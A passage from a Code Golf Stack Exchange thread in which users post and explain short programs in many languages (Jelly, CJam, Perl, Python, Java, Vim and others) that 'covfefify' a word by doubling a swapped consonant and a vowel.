online!](https://tio.run/nexus/jelly#@28T8nDHooe7u7lSHzWtOTyj8tDWQ2tCjkxzPTzh4Y75IKmdq6wPLz@0NITr4Y7Fh9uBIo8adwDp3d2HtgI5h2dEZgLZjxrmHJ5/Yruqx8NdO4tOLC981DDz6GR7oOShJY8a9yWnV1o/3NVt9P//f6WCovz0osTc3My8dCUA)** ### How? ``` <TḢị - Link 1, extract first value from y not less than x: number, x; list of numbers, y - e.g. 5, [3,4,7] < - x less than vectorised across y [0,0,1] T - truthy indices [ 3] Ḣ - head 3 ị - index into y 7 e€Øyµ¬TĖEÐḟḢṪ;ç¥T - Link 2, indices of the letters to manipulate: list of characters, w Øy - vowel+ yield = "AEIOUYaeiouy" e.g. "smouching" e€ - exists in for €ach letter in w 001100100 µ - monadic chain separation, call that v ¬ - not vectorised across v 110011011 T - truthy indices 12 56 89 Ė - enumerate [[1,1],[2,2],[3,5],[4,6],[5,8],[6,9]] Ðḟ - filter discard if: E - elements are equal [[3,5],[4,6],[5,8],[6,9]] Ḣ - head [3,5] Ṫ - tail 5 T - truthy indices of v 34 7 ¥ - last 2 links as a dyad ç - call last link (1) as a dyad 7 ; - concatenate 5,7 - ...i.e the indexes of 'c' and 'i' ḣÇḢ⁸ÇịµḢØYiị“ßȷ%Hẹrȧq’œ?ØY¤⁾cgy;ẋ2 - Main link: list of characters, w - e.g. "smouching" Ç - call the last link (2) as a monad [5,7] ḣ - head to index (vectorises) ["smouc","smouchi"] Ḣ - head "smouc" - implicit print due to below leading constant chain ⁸ - link's left argument, w Ç - call the last link (2) as a monad [5,7] ị - index into w "ci" µ - monadic chain separation, call that p Ḣ - head p 'c' ØY - consonant- yield = "BCDFGHJKLMNPQRSTVWXZbcdfghjklmnpqrstvwxz" i - first index 22 ¤ - nilad followed by link(s) as a nilad: “ßȷ%Hẹrȧq’ - base 250 number = 1349402632272870364 ØY - consonant- yield = "BCDFGHJKLMNPQRSTVWXZbcdfghjklmnpqrstvwxz" œ? - nth permutation = "BCDFGHJKLMNPQRSTVWXZpctvkhjglmnbqrzdfwxs" ị - index into (special case ->) 'c' ⁾cg - literal ['c','g'] y - translate (change 'c's to 'g's) 'g' ; - concatenate with the headed p "gi" ẋ2 - repeat list twice "gigi" - implicit print ...along with earlier = smoucgigi ``` [Answer] ## JavaScript (ES6), ~~107~~ 103 bytes *Saved 4 bytes thanks to [GOTO 0](https://codegolf.stackexchange.com/users/12474/goto-0)* ``` s=>([,a,b,c]=s.match`(.*?[aeiouy]+(.)).*?([aeiouy])`,a+(b=(a="bcdfgszkvtgp")[11-a.search(b)]||b)+c+b+c) ``` ### Test cases ``` let f = s=>([,a,b,c]=s.match`(.*?[aeiouy]+(.)).*?([aeiouy])`,a+(b=(a="bcdfgszkvtgp")[11-a.search(b)]||b)+c+b+c) console.log(f("creation")) console.log(f("coverage")) console.log(f("example")) console.log(f("programming")) console.log(f("president")) ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~45~~ 39 bytes ``` Øa“œṣ$b|0Ḃ’ṃ,Ṛ$yṫµfØyḢṭḢẋ2 e€ØyIi-‘ɓḣ;ç ``` [Try it online!](https://tio.run/##RYwhDsJAFER9T/EFsiGA5QRoVOVCP83Ctt20DaEJogGBQGIKQVGBAByELjg2CI7xe5GFKswk8@ZlxihEaozOWZXt3xtSRWMwb1G5qLItqaVNatdISZ1et5HOUyoPpC51PtYdC6vFWedOj7erLP9sqCy6@mjoeQW9@k3gAJX33y30peAJsAQED3CE6MY2@EzWdWJDjJJFLEEYpH@hacwwnGLEPLRwxnwp0JJR6EXM93ngWcPQrQHG3MUg@QI "Jelly – Try It Online") ### How it works ``` e€ØyIi-‘ɓḣ;ç Main link. Argument: s (string) Øy Vowels with y; yield "AEIOUYaeiouy". e€ Test each character in s for membership. I Increments; compute the forward differences of the resulting array of Booleans. i- Find the first index of -1. ‘ Increment this index to find the index of the first consonant that follows a vowel. Let's call this index j. ɓ Begin a new chain. Left argument: s. Right argument: j ḣ Head; yield the first j characters of s. ç Call the helper link with arguments s and j. ; Concatenate the results to both sides. ``` ``` Øa“œṣ$b|0Ḃ’ṃ,Ṛ$yṫµfØyḢṭḢẋ2 Helper link. Left argument: s. Right argument: j Øa Alphabet; set the return value to “abc...xyz”. “œṣ$b|0Ḃ’ Yield 7787255460949942. This is a numeric literal in bijective base 250. The value of each digit matches its 1-based index in Jelly's code page. ṃ Convert 7787255460949942 to base 26, using the digts a = 1, b = 2, ..., y = 25, z = 0. This yields "bcdfkszgvtgp". ,Ṛ$ Pair the result with its reverse, yielding ["bcdfkszgvtgp", "pgtvgzskfdcb"]. ṫ Call tail with arguments s and j, yielding the j-th and all following characters of s. y Translate the result to the right according to the mapping to the left, i.e., replace 'b' with 'p', 'c' with 'g', etc. 'g' appears twice in the first string of the mapping; only the first occurrence counts. Let's call the resulting string r. µ Begin a new chain. Argument: r fØy Filter; remove non-vowels from r. Ḣ Head; take the first vowel. Ḣ Head; take the first character/consonant of r. ṭ Tack; append vowel to the consonant. ẋ2 Repeat the resulting string twice. ``` [Answer] # [CJam](https://sourceforge.net/p/cjam), ~~59~~ ~~58~~ ~~57~~ 56 bytes ``` q_{"aeiouy":V&,_T|:T^}#)/(_W>"cbdfkszgvtpg"_W%er@sV&0=+_ ``` [Try it online!](https://tio.run/##S85KzP3/vzC@WikxNTO/tFLJKkxNJz6kxiokrlZZU18jPtxOKTkpJS27uCq9rKQgXSk@XDW1yKE4TM3AVjv@///k/LLUosT0VAA "CJam – TIO Nexus") ### Explanation ``` q_ e# Read the input and copy it. { e# Find the index of the first char for which the following is true: "aeiouy":V e# Push "aeiouy" and store it in V. &, e# Check if the current char is in the vowel string (0 or 1). _T|:T e# Copy the result and OR with T (T is initially 0), storing back in T. ^ e# XOR with the original result. This will be 1 for the first e# consonant appearing after a vowel. }# e# (end find) )/ e# Increment the index and split the string into chunks of that size. ( e# Pull out the first chunk. _W> e# Copy it and get the last character (the consonant). "cbdfkszgvtpg"_W%er e# Transliterate the consonant to voiced/voiceless alternative. @s e# Bring all the other split chunks to the top and join them together. V&0= e# First char of the set intersection of that and the vowels. e# (i.e. the first vowel in the second half) + e# Concatenate the new consonant and the vowel. _ e# Duplicate the result of that. e# Implicit output of stack contents. ``` [Answer] # C, ~~219~~ ~~213~~ ~~206~~ ~~179~~ 175 bytes ``` #define p putchar #define q(a)for(;a strchr("aeiouy",*s);p(*s++)); f(s,c,h)char*s;{q(!)q()p(*s);p(c="pgt vkh jglmn bqrzd fwx s"[*s-98]);p(h=s[strcspn(s,"aeiouy")]);p(c);p(h);} ``` [Try it online!](https://tio.run/##NY1LEoIwEET3niLiZibiwp1WipNQLOKQEPxAyGD8UJ4djZbb7tf9aNMQzfOqNrbtjPDCX0dyOiz@yQAabR9AacFjIBcg06btr48sl4zKg@T1GlEtLHBOucO0lqymAZY4ACYgYVRkvhlFPDlxbM6XThyG8KyFvd0FZ6XkzX5XJc4VXCYR@@5z@Hfht6MvgOo1X3TbAeXxZ5NRTRZiua1SN1MfTdCNeQM "C (gcc) – TIO Nexus") [Answer] # [Perl 5](https://www.perl.org/), ~~81~~ ~~72~~ 71 bytes *-1 byte thanks to Xcali!* ``` s![aeiouy]+(.)\K.*!($1=~y/bdfgpstvzck/ptvkbzdfsg/r.$&x/[aeiouy]/g)x2!ge ``` [Try it online!](https://tio.run/##K0gtyjH9/79YMToxNTO/tDJWW0NPM8ZbT0tRQ8XQtq5SPyklLb2guKSsKjlbv6CkLDupKiWtOF2/SE9FrUIfpkk/XbPCSDE99f//pMTs1NSkf/kFJZn5ecX/dQsA "Perl 5 – Try It Online") [Answer] # PHP, 121 Bytes ``` $v=aeiouy;preg_match("#(.*?[$v]+([^$v])).*?([$v])#",$argn,$t);echo$t[1],$z=strtr($t[2].$t[3],bcdfgkpstvz,pgtvkgbzdfs),$z; ``` [Try it online!](https://tio.run/##HYxBDsIgFET3HoOyACVN1CU2PQhBQymFpmn7A18Se3lENzN5L5OBAOXRQ4ATNdFvHbHRGZz3jchCc2fcvL8/EqLzr9WgDYw0rD33imZ9YepZi/PK7Cd4Q8T/RVDk0tmwU1RXLejRJYwYWcWbbmvetRjsOPkFEuZDgMe8@OEYp8TrWpbyBQ "PHP – Try It Online") [Answer] # Pyth, 54 bytes ``` L+hb?>F}RJ"aeiouy"<b2+hKtb*2+XhK"cgdsfbpvztkg")h@JKytb ``` This defines a function `y`, that expects a string. Try it online: [Test Suite](http://pyth.herokuapp.com/?code=L%2Bhb%3F%3EF%7DRJ%22aeiouy%22%3Cb2%2BhKtb%2A2%2BXhK%22cgdsfbpvztkg%22%29h%40JKytb%0Ayz&input=creation%0Acoverage%0Aexample%0Aprogramming%0Apresident&test_suite=1&test_suite_input=creation%0Acoverage%0Aexample%0Aprogramming%0Apresident%0Aaei&debug=0) [Answer] # Python 3, ~~155~~ 139 bytes ``` import re def f(x,k='aeiouy])'):b,c,v=re.findall(f'(.*?[{k}([^{k}.*?([{k}',x)[0];return b+c+(('bcdfgkpstvz'+c)['pgtvkgbzdfs'.find(c)]+v)*2 ``` *removed 16 bytes thanks to @ovs* *removed 1 byte thanks to Gábor Fekete* [Answer] # Java 8, ~~243~~ ~~236~~ 222 bytes ``` s->{String q="[a-z&&[^aeiouy]]",a=s.replaceAll("(^"+q+"*[aeiouy]+"+q+").*","$1"),b="pgtvkhjglmnbqrzdfwxs".charAt("bcdfghjklmnpqrstvwxz".indexOf(a.charAt(a.length()-1)))+s.replaceAll(a+q+"*([aeiouy]).*","$1");return a+b+b;} ``` Uses `.replaceAll` regexes with capture groups to filter out the parts we don't want. **Explanation:** [Try it here.](https://tio.run/##jZDNjoIwFIX3PkXTTEwrQuKaMIkPMM5ilkSTSylYLKW0BVHDszPVYCazGWfT3J@v7Tmngh7CRnNV5aeJSbAWfYBQtwVCQjluCmAc7e4tQl/OCFUiRubC0tjPx4U/rAMnGNohhRI02fD9NjNtglMIr8tlegAumu6y3@M1JDYyXEv/9lZKgskBB22AV@mMBI@WRiu8xm8bTNdZgnXp@tOxKmWtstZc8@I8WByxI5itIzhjeVEeq5Pf6tZY15@HK46EyvnwWRB4chBJrkp3JDTcUEqDXzLgoYE8Rfx8HxvuOqMQBFmQxeMU3x3rLpPe8Wy8b0SOah/cnE26R0Dn1C7W8TpqOhdpv3JSERUxgpnh/mqjMH3E@AfY9NxAyV@CfIBay9ecNk1poK69zn@w3IqcKzeT42KcvgE) ``` s->{ // Method with String parameter and String return-type // Temp String we use multiple times: String q="[a-z&&[^aeiouy]]", // Regex to get the first part (i.e. `creation` -> `creat` / `example` -> `ex`) a=s.replaceAll("(^"+q+"*[aeiouy]+"+q+").*","$1"), // Get the trailing consonant and convert it b="pgtvkhjglmnbqrzdfwxs".charAt("bcdfghjklmnpqrstvwxz".indexOf(a.charAt(a.length()-1))) // Get the next vowel after the previous consonant from the input-String +s.replaceAll(a+q+"*([aeiouy]).*","$1"); // Return the result: return a+b+b; } // End of method ``` [Answer] # [Haskell](https://www.haskell.org/), 143 141 138 137 136 bytes ``` z h=elem h"aeiouy" f i|(s,(m,c:x))<-span z<$>break z i,j:_<-filter z x,d<-"pgt.vkh.jglmn.bqrzd.fwx.s"!!(fromEnum c-98)=s++m++[c,d,j,d,j] ``` [Try it online!](https://tio.run/##LY2xTsMwFEV3vuLVYkgUxzNUSTc2mBirqnLtl8SJn21sp4SIfw8tMFzp3KMr3UGmCa3dthWGFi0SDEyi8fMXe@jAfBeJF8TVfinLpk5BOlibx8MlopxgBcPH/bmpO2MzxltfuG5qFvosrtMgxt6SE5ePuGrRfS4isd2u6KKnFzcTqPr5qWxTVVFVHRXXfLzntJE0riUZ3s5QhDm/5/jqQEBXwpGp22823jEOTPkrRtnjnXGRFOwvhuj7KImM6/9W@l9jMhpdZqftBw "Haskell – Try It Online") [Answer] # Python, ~~261~~ 260 bytes ``` def c(s,t='bpcgdtfvgksz'): q,r,t='aeiouy',range(len(s)),t+t[::-1] c=[i for i in r if i>[j for j in r if s[j]in q][0]and s[i]not in q][0] C=([t[2*i+1]for i in range(12)if s[c]==t[i*2]]or s[c])[0] return s[:c+1]+(C+s[[i for i in r if i>c and s[i]in q][0]])*2 ``` A Non regex, Not esoteric solution. Took about 20 minutes to make, and an hour more to golf. It probably has more list comprehension than the entire python standard library, mostly because I don't know regex... [Try it online! (With testcases)](https://tio.run/##bVFNb9swDL37VxDZQXbiBkt6M@ABW9D@CVUHVaZdJbbkSkznpOhvzyR1SRqgPFj8eI98pMcDvVhzfzo12ILKfVFl8Fq6kmomUdv9gZVOmg7zHk2oFiV7HlXXUPvW7fyRZUA1LYhX1d1KZKBqrqG1DjRoA@FpQf/i25TaXlKeb0XwXwX/KaRpQqyFsQTnXAabOufE13O9WIlru6RjtS5SCyXqmrier4UIgBgXieqQ9s6ERKUCeZFvFp5/I0rBefJ5qijm69OPzd6THYDQkzYdtHujSFtTwl@nidDA8wG87PTOj1kWbxaReYSV0VPSY7phsDgyxnHqpfZZikbucA2iSe/RURqZR2wRFjzTePyKCxwnhSPB78QI8h6cs@62m5M6jP4TaA8JHFD57PH/OtBK3XuwV2HwxN7j@/HElrNlkD5ISirqJKVIvUenDX3pMkbJDci@vy64nBVZlo6iynem7Bs62SGrottii6y8yGQ4yWHsYxGnSU7ya210tnNyGMJfCPUY7eTuBqFs89m3ISS85aLXDRpKTPRHfdTsozj9Aw) [Answer] ## Python 2, ~~251~~ ~~246~~ ~~245~~ ~~239~~ ~~237~~ ~~234~~ ~~229~~ 211 bytes First submission here. ``` def f(s): r=c='';n=0;w='aeiouy';a='bcdfghjklmnpqrstvwxz' for i in s: if n<2:r+=i if n<1and i in w:n=1 if n==1and i in a:c='pgtvkhjglmnbqrzdfwxs'[a.index(i)];n=2 if n==2and i in w:r+=c+i+c+i;break return r ``` [Try it online!](https://tio.run/##XZLBcqMwDIbP5Sk82YNhkslscyT1YbfTvkTbg4Jl4gI2lZ1A0umzpzY0CalnAEv6JX2yaQ9@a83qdJKomEpdlieMRCE4Xxvxd90JDqjt7sDXIPimkKrcvld1Y9oPcn7f9UeeMGWJaaYNc3lypxUzD6uc5kL/GPdg5BjvciPuR68QVzfkoV9b@n21fS9D7c0HHaXqesdfYKmNxD7V2VvgWZ1zV5OSoVMx1/PwrDeEUAV@9DsyjE5/HnfO24Z5dF6bkqmdKby2ZsE60t6jYZsDc1DqyrVJEk8gKtMoW8RdAQ6HEwkrDhnt2PQSG0NxeTpcjbjAOSQ/tEyjNhPikvYS328XOfYFtp79GzIC3hORpdtqBDq0/h/SngZxUKWz559xmAJdO2avYOyVf8bv1ytfzpYBvQE/UIgBJRtqt6SNn1RpI7JkUNfXAZezLEnGQ1l88sLukaBEnsetQoV8ccHk2EPT1jGIfQ89TGMt2ZKgacIthHi0KqhuFIWVY13p0eNtLjot0fghE91RHzX/ClzDAOGn5UW49zgCzya@M@vEdyacuKZgN9nyl@zMEPqevgE "Python 2 – Try It Online") Fellow golfers that helped me: ``` Destructible Lemon / Wheat Wizard - 5 bytes Hubert Grzeskowiak - 1 byte musicman523 - 16 bytes ``` [Answer] # [Ruby](https://www.ruby-lang.org/), 90 bytes ``` ->x{x[/(.*?#{$v='[aeiouy]'}+.).*?(#$v)/];$1+($1[-1].tr('bcdfgkpstvz','pgtvkgbzdfs')+$2)*2} ``` [Try it online!](https://tio.run/##Tc27DoMgGEDh3adolOQHrRpdG9sHsQ6oQIxVCCLxEp@dduhtPN9y9Fyvbin8RjNqOjn6Hi/uLr4u@1KmOAlvwY5sASVlnZzXCo4oIS/FAbIkrS4oizDKyjirEqMx1E3LRa8mYzc4gxLG9qLeWj4BiVBOwvxw6sQTDJ8dEO8N0jJNBfsCW@igHr9WWgpNh6EbxZ@xqWvZaIC4Jw "Ruby – Try It Online") Ungolfing it a bit, we have something equivalent to: ``` def covfefefify(x) v = '[aeiouy]' # Match x to a regular expression capturing: # Group 1: # some characters (non-greedy) # followed by some (greedy) non-zero number of vowels # followed by exactly one character # Ungrouped: # Some more (non-greedy) characters # Group 2 # Exactly one other vowel # By switching between greedy and non-greedy matches, we can capture longest and shortest vowel/consonant sequences without writing out all the consonants x[/(.*?#{v}+.).*?(#{v})/] # Glue it back together, replace the necessary consonants, duplicate where needed $1+($1[-1].tr('bcdfgkpstvz','pgtvkgbzdfs')+$2)*2 end ``` [Answer] # [Ruby](https://www.ruby-lang.org/), ~~175~~ ~~141~~ 110 bytes ``` ->s{s=~/(.*?#{v='[aeiouy]'}+(#{c='[^aeiouy]'}))#{c}*(#{v})/;"#$1#{($2.tr('bcdfgkpstvz','pgtvkgbzdfs')+$3)*2}"} ``` [Try it online!](https://tio.run/##PcxBboMwFATQPaf4wlS2SUMUuqxIDoKoZMBYJAEsf@M0cdyrU6uLzmr0pBmzto9tqLb9CT1WPwdW5GfiXUVrIcdlfTQ07BjxXYSvf@E8Ssiju8APnynJjsSzrCysYbTt@kFdNVr3pO9UK@uuqn32A1K@yz54XoY0bFaiRajg7V53Rgo7LjN0i5NGKAnyW0z6JkGbRRkxTeOsYpc49nK2TZLoNW7/HopJaPDwwlcCMSnxWNwuK1p2LHmA/QmIH2psQpqEZPsF "Ruby – TIO Nexus") * Saved 34 bytes thanks to [Eric Duminil](https://codegolf.stackexchange.com/users/65905/eric-duminil) * Saved 31 bytes thanks to [Value Ink](https://codegolf.stackexchange.com/users/52194/value-ink) + optimized suggested `tr` arguments **Ungolfed** ``` covfefify = -> (s) { from = 'bcdfgkpstvz' to = 'pgtvkgbzdfs' vowels = "[aeiouy]" consonants = "[^aeiouy]" s.match(/(.*?#{vowels}+(#{consonants}))#{consonants}*(#{vowels})/) d = ($2.tr(from, to) + $3) * 2 "#$1#{d}" } ``` [Answer] # Crystal, ~~203~~ ~~194~~ ~~187~~ ~~186~~ ~~184~~ 163 bytes ``` o="" ARGV[v=c=0].each_char{|a|r=/#{a}/ "aeiouy"=~r&&(v=x=1)||(c=v) o+=a if c<2||x c>0&&(x&&break||(o+=(i="pgtvkgbqrzdfs"=~r)?"bcdfgkpqrstvz"[i]: a))} p o+o[-2..-1] ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 68 bytes ``` r`\B(?>([^aeiouy])+)([aeiouy]).* $1$1$2$1$2 T-5>`fs\dbgcgk\ptzv`Ro`. ``` [Try it online!](https://tio.run/##K0otycxL/K@q4Z7wvyghxknD3k4jOi4xNTO/tDJWU1tTIxrG1tPiUjEEQiMQ5grRNbVLSCuOSUlKT07PjikoqSpLCMpP0Pv/Pzm/LLUoMT2VK7UiMbcgJ5WroCg/vSgxNzczL50rOT8FJJBanJmSmlcCAA "Retina – Try It Online") [Answer] # [!@#$%^&\*()\_+](https://github.com/ConorOBrien-Foxx/ecndpcaalrlp), ~~102~~ ~~101~~ ~~100~~ ~~99~~ 80 bytes ``` `33554(_(^1%)%)$pgtevkhijglmnobqrzdufwxys(0*!@&)^(0*!!@&_^)Q++&!@%(0*!^&)+!@0&@@ ``` 42nd answer of this question, it looks like. Just one byte longer than BQN! It took much more time than it should. I'm pretty sure there are still some simple tricks that I'm missing. Accept lowercase characters. The program does not actually contain digits - `01345Q` in the code above are unprintable characters with ASCII code 0, 1, 3, 4, 5 and 25 respectively. [Try it online!](https://tio.run/##S03OSylITkzMKcop@P8/gZmZlZVFI14jjlFVU1VTpSC9JLUsOyMzKz0nNy8/qbCoKqU0rbyisliDQUvRQU0zDkQDGfFxmpLa2mqKDqoggTg1TW1FBwY1B4f//5Pzy1KLEtNTAQ "!@#$%^&*()_+ – Try It Online") [Answer] # MATLAB / Octave - ~~159~~ 158 bytes The following works assuming the input string is all lowercase. ``` a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v] ``` # Explanation 1. `a = input('','s');`: Gets a string from STDIN and stores it into the variable `a`. 2. `m=ismember(a,'aeiouy');`: Returns a Boolean array that is the same size as the string `a` determining where vowels are located 3. `s='pgt vkh jglmn bqrzd fwx s';` The `covfefe` mapping of consonants as a string. This string is 25 characters long and omitting the vowels. The first position where the vowel `'a'` is supposed to be is removed while the other positions where the vowels are located are placed with a dummy space character. This is so that when we determine the first consonant appearing after the vowel, we will convert the consonant to a position to access a character in this string to determine the first component of the converted word. 4. `m(1:find(m,1))=1`: Sets the first position of the Boolean array up to where we have found the first vowel as all vowels. This will be so that when we search for the next consonant that follows the first vowel, we will ignore these characters. 5. `i=find(~m,1);`: Finds the first position of the string that is a consonant after the first vowel. 6. `f=a(1:i)`: Removes the string after the first consonant that follows the vowel. We simply sample from the first position of the string up to this point. 7. `d=s(f(end)-97);`: Take the last character of the string that is remaining and finds where we need to sample from the lookup string and gets that character. Subtracting a character and a number in MATLAB or Octave coalesces to form an integer by converting the character into its ASCII code. In this case, we subtract the last character by the character at the beginning of the alphabet to give us the position relative to the beginning. However, instead of subtracting by `b` (98), we subtract by `a` as MATLAB starts indexing by 1 instead of 0. `'a'`'s ASCII code is 97. 8. `m(1:i)=0;`: Takes the Boolean mask and sets all characters in the input string from the first position to the first consonant following a vowel to false. 9. `v=a(find(m,1));`: Finds the next vowel that follows the first consonant from the input string. 10. `[f d v d v]`: Output our `covfefe`ied string. # Example Runs ``` >> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v] coverage ans = covfefe >> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v] example ans = exxaxa >> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v] programming ans = progkaka >> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v] code ans = codtete >> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v] president ans = preszizi ``` # Try it online! <http://www.tutorialspoint.com/execute_octave_online.php?PID=0Bw_CjBb95KQMdjROYVR0aFNrWXM> When you hit the Execute button at the top, wait a few moments, then enter the desired string. Enter the string slowly as there seems to be a delay when entering in text. [Answer] ## Clojure, ~~182~~ 156 chars ``` #(let[v #{\a\e\i\o\u\y}p(partition-by v %)[s m[c][n]](if(v(first %))(cons[]p)p)z[(or((zipmap"bcdfgkpstvz""pgtvkgbzdfs")c)c)n]](apply str(concat s m[c]z z))) ``` ### How It Works ``` (partition-by v "president") ``` Returns a seq of `((\p \r) (\e) (\s) (\i) (\d) (\e) (\n \t))` ``` [s m [c] [n]] (if (v (first x)) (cons [] p) p) ``` Destructures the seq into `s=(\p \r)`, `m=(\e)`, `c=\s`, `n=\i`. Or for "example" it's `s=[]`, `m=(\e)`, `c=\x`, `n=\a`. ``` (apply str (concat s m [c] [(l c) n] [(l c) n])) ``` Returns the output string by concatenating the pieces together and stringifying it. And then I just removed as much whitespace as I could while still making it compile. De-uglified: ``` (defn covfefify [x] (let [vowel? #{\a\e\i\o\u\y} parts (partition-by vowel? x) [start mid [consonant] [last-vowel]] (if (vowel? (first x)) (cons [] parts) parts) lookup #(or ((zipmap "bcdfgkpstvz" "pgtvkgbzdfs") %) %)] (apply str (concat start mid [consonant] [(lookup consonant) last-vowel] [(lookup consonant) last-vowel])))) ``` [Answer] # BlitzMax, 190 bytes ``` s$=Input()For i=1To s.Length f="aeiouy".Contains(s[i-1..i])If f v=i If c Exit If v And c|f=0c=i Next t$="bpdtfvgkcgsz"x$=s[c-1..c]r=t.Find(x)~1If r>=0x=t[r..r+1] x:+s[v-1..v]Print s[..c]+x+x ``` Takes a word from stdin and prints the result to stdout. The input word is assumed to be lowercase and to contain at least one vowel followed by a consonant. A more readable version of the progam with formatting and variable declarations: ``` SuperStrict Framework BRL.StandardIO Local s:String = Input() Local v:Int Local c:Int For Local i:Int = 1 To s.Length Local f:Int = "aeiouy".Contains(s[i - 1..i]) If f Then v = i If c Then Exit End If If v And c | f = 0 Then c = i Next Local t:String = "bpdtfvgkcgsz" Local x:String = s[c-1..c] Local r:Int = t.Find(x) ~ 1 If r >= 0 Then x = t[r..r + 1] x :+ s[v - 1..v] Print s[..c] + x + x ``` How it works: BlitzMax doesn't have any builtin regex functionality or similar, so a loop is used to iterate over the characters of the input word until it finds a vowel followed by a chain of at least one consonant. The variable c stores the position of the last of those consonants, v that of the vowel. The loop continues to see if there is another vowel after the chain and if so, v is updated accordingly. Then the consonant at c is looked up in the string "bpdtfvgkcgsz", which acts as a replacement table. If the consonant is found in the table at any position, then that position is XOR-ed with 1 and the character at the resulting position gets used as its replacement. The XOR operation turns 0 into 1, 2 into 3, 4 into 5 etc. and vice versa, so that b gets swapped with p, d with t and so on. Finally, the original string up to c, the replacement character and the vowel at v are put together as required and printed. Example results: > > coverage covfefe > > > creation creatdidi > > > programming progkaka > > > stupidity stupbibi > > > blah blahhaha > > > [Answer] # R, 341 characters ``` f=function(x){g=function(x,y)el(strsplit(x,y));a=g(x,'');v=g('aeiouy','');n=letters[-c(1,5,9,15,21,25)];l=data.frame(n,g('pgtvkhjglmnbqrzdfwxs',''));y=min(match(n,a)[which(match(n,a)>min(match(v,a),na.rm=T))]);m=l[which(l$n==a[y]),2];e<-a[-c(1:y)][min(match(v,a[-c(1:y)]),na.rm=T)];paste0(paste0(a[c(1:y)],collapse=''),m,e,m,e,collapse="")} ``` Horrendous R attempt, why are strings so hard Readable version: ``` f = function(x) { g = function(x, y)el(strsplit(x, y)) a = g(x, '') v = g('aeiouy', '') n = letters[-c(1, 5, 9, 15, 21, 25)] l = data.frame(n, g('pgtvkhjglmnbqrzdfwxs', '')) y = min(match(n, a)[which(match(n, a) > min(match(v, a), na.rm = T))]) m = l[which(l$n == a[y]), 2] e <-a[-c(1:y)][min(match(v, a[-c(1:y)]), na.rm = T)] paste0(paste0(a[c(1:y)], collapse = ''), m, e, m, e, collapse = "") } ``` [Answer] # [Python 3.8 (pre-release)](https://docs.python.org/3.8/), 142 bytes ``` s=input() g=lambda i,f='aeiuoy':i if s[i]in f else g(i+1,f) q=g(g(0),c:='pgtcvkh jglmn bqrzd fwx s') exit(s[:-~q]+(c[ord(s[q])-98]+s[g(q)])*2) ``` [Try it online!](https://tio.run/##Dcc7EoMgFADA3lO8Dog6k09jnOEkDAUq4EsUQTDRFLk6yXbrjzQu7tb4NefI0fktUVZYPqm5GxRgZThRGrflIC0CGogCJTowoKeowVIsL5VhReCWWnpmVd9y4m3qX88RHnaaHXRh/Qxg3jtEwgq9Y6JRtPU3yJL2YlmHf4Nk9b2RZRSWBibZ6cpyVl7HHw "Python 3.8 (pre-release) – Try It Online") A little late to the party, but here's yet another non-regex Python answer! I interpreted the rules to allow printing to STDERR which saves a byte (`exit`/`print`). Using Python 3.8 over 3<=3.7 saves me a total of 1 byte with the walrus operator as opposed to defining the `c` variable elsewhere. Thanks a lot to Post Rock Garf Hunter (-21 bytes) for the help! [Answer] # Perl, 71 bytes ``` s#[aeiouy]+(.)\K.*?([aeiouy]).*#"$1$2"=~y/bcdfgkpstvz/pgtvkgbzdfs/rx2#e ``` Also run with `perl -pe`. A few bytes less than the previous Perl solution. Admittedly I got some inspiration from there as well. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~101~~ ~~104~~ 88 bytes -16 bytes thanks to Okx I somehow hope this can be done *way* more efficiently. ``` žOÃćIsk>[DIs£¤žPså#\>]s[DIsèDžOså#\>]ŠŠ"bpcgdtfvgkhhjjkgllmmnnpbqqrrsztdvfwwxxzs"S2ôDí«ø`Šs¤sŠksŠèsŠì2׫ ``` [Try it online!](https://tio.run/##MzBNTDJM/f//6D7/w80Gh1dk20W7eBYfWnxoydF9AcWHlyrH2MUWg4QOr3ABqoGKHF1wdIHeo4ZF5oe2HV59eNKjhimHpyUd2nJs0qPOBYdbHjXMObrw1KTDbYe2esUdnhsG5B/uK7iwA6gh2OjwFpfDaw@tPrwj4eiC4kNLio8uyAbiwytAxBqjw9MPrf7/Pzm/LLUoMT0VAA "05AB1E – Try It Online") ## Explanation ``` Argument: s žOÃ0èk Get index of first vowel in s >[DIs£¤žPså#\>] Increment index and split s until last character of substring is a consonant s[DIsèDžOså#\>] Increment index an get character at index in s until character is a vowel ŠŠ Rearrange stack .•7¶ëÒ—Öb´ƒ≠Ä“šʒƵJ^ÝV“Îpи•S2ôDí«ø` Prepare character substitution map Šs Rearrange stack ¤ Last character of substring sŠ Rearrange stack (yes, again) k Index of last character in substitution key list sŠ Rearrange stack (it won't stop) è Character at index in character substitution value list sŠ Rearrange stack (ONE LAST TIME) ì2׫ Prepend substitution consonant before vowel, duplcicate and concatenate with the substring from the very beginning ``` [Answer] # Vim, 107 keystrokes Who needs Java, Python 3, Modern Pascal 2.0, C#, Python 2, R, Go, C, BlitzMax, Javascript, Crystal, Clojure, Lua, Matlab/Octave, Haskell and PHP when you have vim? ``` i ⎋o⏎bcdfghjklmnpqrstvwxz⏎pgtvkhjglmnbqrzdfwxs⎋1Ghqy/[aeiouy]⏎q/[^aeiouy]⏎mz@yyl`zpld$yhjpg*jyl`zpy2lPjdGX ``` `⎋` is 